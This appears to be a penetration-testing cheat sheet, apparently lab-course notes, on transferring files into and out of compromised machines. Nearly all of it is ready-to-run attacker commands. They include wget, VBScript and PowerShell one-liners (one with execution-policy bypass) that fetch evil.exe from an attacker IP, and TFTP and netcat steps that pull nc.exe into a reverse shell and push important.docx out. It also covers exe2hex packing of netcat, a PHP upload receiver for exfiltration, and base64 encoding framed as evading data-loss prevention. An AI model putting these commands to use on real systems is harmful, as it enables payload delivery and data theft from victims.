File Transfer

Guides and Resources

Guides and Resources

Encode a file

DLP sucks. Encode your files to make file transfer easier

base64 -w0 <file> #Encode file
base64 -d file #Decode file

HTTP/HTTPS

One of the easier ways to transfer a file as most devices have http/S access. We start by finding a directory on target you can write to.

# find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \;
(Linux) Uses HTTP and FTP
# wget http://<url> -O url.txt -o /dev/null

(Windows) wget script
> cscript wget.vbs http://10.11.0.4/evil.exe evil.exe

SMB

  • \\[IP OF SUPPORT INSTANCE]\C$ in the address bar

FTP

#pip3 install pyftpdlib
#python3 -m pyftpdlib -p 21

TFTP

TFTP
  • # In Kali #atftpd --daemon --port 69 /tftp

  • # In reverse shell #tftp -i 10.10.10.10 GET nc.exe

  • Upload with TFTP

    • # sudo apt update && sudo apt install atftp

    • # sudo mkdir /tftp

    • # sudo chown nobody: /tftp

    • # sudo atftpd --daemon --port 69 /tftp

    • # tftp -i 10.11.0.4 put important.docx

SCP

Get file
# scp user@<remoteip>:/tmp/file /tmp/file

Put file
# scp /tmp/file user@<remoteIP>:/tmp/file

Windows xcopy

> xcopy /s \\<ip>\dir C:\local

NetCat from target

(Target) # nc -nvlp 55555 > file
(Attacker) # nc [target] 55555 < file

Non-interactive shell

Non-interactive shell
  • Most netcat like tools provide a non-interactive shell, little to no feedback. File tranfer tools generally do not work.

  • Upgrading a shell

    • Python interpreter coes with a standard module called pty for creating pseudo-terminals. We can spawn a separate process form our remote shell to get a fully interactive shell

    • # nc -vn 10.11.0.128 4444

    • # python -c 'import pty; pty.spawn("/bin/bash")'

  • Non-interactive FTP download

    • # sudo cp /usr/share/windows-resources/binaries/nc.exe /ftphome/

    • # ls /ftphome/

    • # sudo systemctl restart pure-ftpd

    • Next we build a text file of FTP commands we wish to execute

      • > echo open 10.11.0.4 21> ftp.txt

      • > echo USER offsec>> ftp.txt

      • > echo lab>> ftp.txt

      • > echo bin >> ftp.txt

      • > echo GET nc.exe >> ftp.txt

      • > echo bye >> ftp.txt

    • Initiate FTP session using the command list

      • > ftp -v -n -s:ftp.txt

    • > nc.exe

Powershell

Powershell
  • Simple Powershell download

    • For more modern windows versions, we can use PowerShell as an even simpler download alternative, System.Net.WebClient class

      • >echo $webclient = New-Object System.Net.WebClient >>wget.ps1

      • >echo $url = "http://10.11.0.4/evil.exe" >>wget.ps1

      • >echo $file = "new-exploit.exe" >>wget.ps1

      • >echo $webclient.DownloadFile($url,$file) >>wget.ps1

    • Now we can run the script and download our file

      • > powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

    • ***One liner version***

      • > powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.11.0.4/evil.exe', 'new-exploit.exe')

  • Downloads with exe2hex and Powershell

    • With this method we will compress a binary, convert it to hex, and then embed it in a windows script.

    • On the target machine we will paste teh script into the shell then run it.

    • Start with locating the nc.exe binary on Kali and compress it

      • # locate nc.exe | grep binaries

      • # cp /usr/share/windows-resources/binaries/nc.exe

      • # ls -lh nc.exe

      • # upx -9 nc.exe #upx isa PE compression tool

      • # ls -lh nc.exe

    • Next we conver it to hex

      • # exe2hex -x nc.exe -p nc.cmd

    • Now when we copy and paste the script into a shell on our windows device, it will create a perfectly working copy of nc.exe

Uploads with windows scripting languages

Uploads with windows scripting languages
  • We can use the System.Net.WebClient powershell class to upload data to our kali machine with an HTTP POST request

  • With this we will make a php script in /var/www/html

    • <?php $uploaddir = '/var/www/uploads/'; $uploadfile = $uploaddir . $_FILES['file']['name']; move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile) ?>

  • PHP code in Listing 490 will process an incoming file upload request and save the data to that directory

  • Next we create the uploads folder and modify it permissions graning the www-data user ownership and subsequent write permissions

    • #sudo mkdir /var/www/uploads

    • #ps -ef | grep apache

    • #sudo chown www-data: /var/www/uploads

    • #ls -la

  • With Apache and the php script ready we move to our compromised windows host and invoke the upload

WGET.VBS

WGET Built into a visual basic script

WGET.VBS
echo strUrl = WScript.Arguments.Item(0) > wget.vbs 
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs 
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs 
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs 
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs 
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs 
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs 
echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs 
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs 
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wge t.vbs 
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget. vbs 
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs 
echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs 
echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs 
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs 
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs 
echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs 
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs 
echo Next >> wget.vbs echo ts.Close >> wget.vbs

File transfer - using screen

File transfer - using screen

File transfer - using screen from REMOTE to LOCAL

Transfer a file FROM the remote system to your local system:

Have a screen running on your local computer and log into the remote system from within your shell. Instruct your local screen to log all output:

CTRL-a : logfile screen-xfer.txt

CTRL-a H

We use openssl to encode our data but any of the above encoding methods works. This command will display the base64 encoded data in the terminal and screen will write this data to screen-xfer.txt:

openssl base64 </etc/issue.net

Stop your local screen from logging any further data:

CTRL-a H

On your local computer and from a different shell decode the file:

openssl base64 -d <screen-xfer.txt
rm -rf screen-xfer.txt

File transfer - using screen from LOCAL to REMOTE

On your local system (from within a different shell) encode the data:

openssl base64 </etc/issue.net >screen-xfer.txt

On the remote system (and from within the current screen):

openssl base64 -d

Get screen to slurp the base64 encoded data into screen's clipboard and paste the data from the clipboard to the remote system:

CTRL-a : readbuf screen-xfer.txt

CTRL-a : paste .

CTRL-d

CTRL-d

Note: Two C-d are required due to a bug in openssl.

File transfer - using gs-netcat and sftp

File transfer - using gs-netcat and sftp

Use gs-netcat and encapsulate the sftp protocol within. It uses the Global Socket Relay Network and no central server or IP address is required to connect to the SFTP/Gsocket server (just a password hash).

gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host

From your workstation execute this command to connect to the SFTP server:

export GSOCKET_ARGS="-s MySecret"                        # Workstation
sftp -D gs-netcat                                        # Workstation

Last updated